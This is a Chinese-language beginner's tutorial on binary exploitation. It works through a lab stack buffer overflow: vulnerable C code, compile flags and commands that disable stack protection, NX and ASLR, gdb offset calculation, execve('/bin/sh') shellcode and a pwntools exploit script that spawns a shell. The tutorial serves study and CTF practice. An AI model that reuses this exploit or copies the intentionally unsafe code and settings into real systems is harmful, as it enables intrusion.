[关闭]
@shaobaobaoer 2018-04-27T14:38:05.000000Z 字数 2870 阅读 1409

PWN 小白入门

未分类


参考地址
http://www.vuln.cn/6644 一步一步学rop x86
http://www.vuln.cn/6645 一步一步学rop x64
https://blog.csdn.net/niexinming/article/details/78814422 Linux下pwn从入门到放弃

0x01 相关概念

PWN

在安全领域中指的是通过二进制/系统调用等方式获得目标主机的shell。
虽然web系统在互联网中占有比较大的分量,但是随着移动端,ioT的逐渐流行,传统的缓冲区溢出又一次有了用武之处

ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。

gcc的内存保护机制

QQ截图20180425175333.png-35.1kB

  1. root@ninthdevil:~/ctf_box/pwn# checksec test
  2. [*] '/root/ctf_box/pwn/test'
  3. Arch: amd64-64-little
  4. RELRO: Partial RELRO
  5. Stack: No canary found
  6. NX: NX disabled
  7. PIE: PIE enabled
  8. RWX: Has RWX segments

0x02 LEVEL0 实例演示

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. void vulnerable_function() {
  5. char buf[128];
  6. read(STDIN_FILENO, buf, 256);
  7. }
  8. int main(int argc, char** argv) {
  9. vulnerable_function();
  10. write(STDOUT_FILENO, "Hello, World\n", 13);
  11. }
  12. //STDIN_FILENO等是文件描述符,是非负整数,一般定义为0, 1, 2,属于没有buffer的I/O,直接调用系统调用,在<unistd.h>。表示标准输出

编译方案

  1. gcc -fno-stack-protector -z execstack -o level1 level1.c
  2. ;这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEPStack Protector

环境配置

  1. sudo echo 0 > /proc/sys/kernel/randomize_va_space
  2. # 打开环境的内存错误数据
  3. ulimit -c unlimited
  4. sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

执行完后我们就关掉整个linux系统的ASLR保护。

QQ截图20180425204631.png-35.7kB

如你所见,现在这个test0的文件运行在一个极为不安全的环境下了

PWN 过程

生成一串150字节长的字符串让程序崩溃

QQ截图20180425205350.png-39.9kB

QQ截图20180425205327.png-47kB

有于并没有打开栈溢出保护机制,导致我们能够直接知道错误的返回地址0x41416d41

计算PC返回值的覆盖点长度

如何计算PC返回值的覆盖点长度呢?gdb pattern的offset子命令能够计算出pc覆盖点的长度。

输入pattern offset 0x41416d41
得到如下结果
QQ截图20180425205624.png-9kB

通过gdb 的pattern 拓展包,就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。

计算PC返回值

此时我们需要计算的就是PC的返回值
之前我们打开了core.dump的功能,通过gdb读取内存溢出的文件,我们就可以计算出PC的返回值
(gdb中调试地址和实际地址不同,不能直接运算)

首先我们先让程序崩溃,输入超过150个字节长度的东西即可:
QQ截图20180425211627.png-11.2kB

core.的输出文件在/tmp下

QQ截图20180425211754.png-30.9kB

在用gdb ./level0-0 /tmp/core.xxxxxxxx打开可以看到core文件被正常解析了
已知 溢出点是140个字节,ret地址4个字节,那就是144个字节。
因此 buffer的地址是 $esp - 144
利用命令 x/10s $esp - 144可以计算出buf的地址
(指令计算16进制对应字符,再显示字符在那个位置。官方解释是 x/s地址,查看字符串)
至此,我们算出了buf的地址就是0xbfff600,也就是PC的返回值

QQ截图20180425211954.png-33.3kB

注入ShellCode

我看别人的wp,了解到了如下代码。(32位Linux)
Linux指令execve ("/bin/sh")应该写成如下形式:

  1. # execve ("/bin/sh")
  2. # xor ecx, ecx
  3. # mul ecx
  4. # push ecx
  5. # push 0x68732f2f ;; hs//
  6. # push 0x6e69622f ;; nib/
  7. # mov ebx, esp
  8. # mov al, 11
  9. # int 0x80
  10. shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  11. shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
  12. shellcode += "\x0b\xcd\x80"

利用python的pwntools模块,就能够getshell了

  1. from pwn import *
  2. p = process('./level0-0')
  3. ret = 0xbffff600
  4. shellcode = asm('''
  5. xor ecx, ecx
  6. mul ecx
  7. push ecx
  8. push 0x68732f2f ;; hs//
  9. push 0x6e69622f ;; nib/
  10. mov ebx, esp
  11. mov al, 11
  12. int 0x80
  13. ''')
  14. payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
  15. p.send(payload) #发送payload
  16. p.interactive() #开启交互shell

如果不行,可以访问一下/proc/sys/kernel/core_pattern
运行exp.py,查看/home/flag.txt

QQ截图20180425213414.png-27kB

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注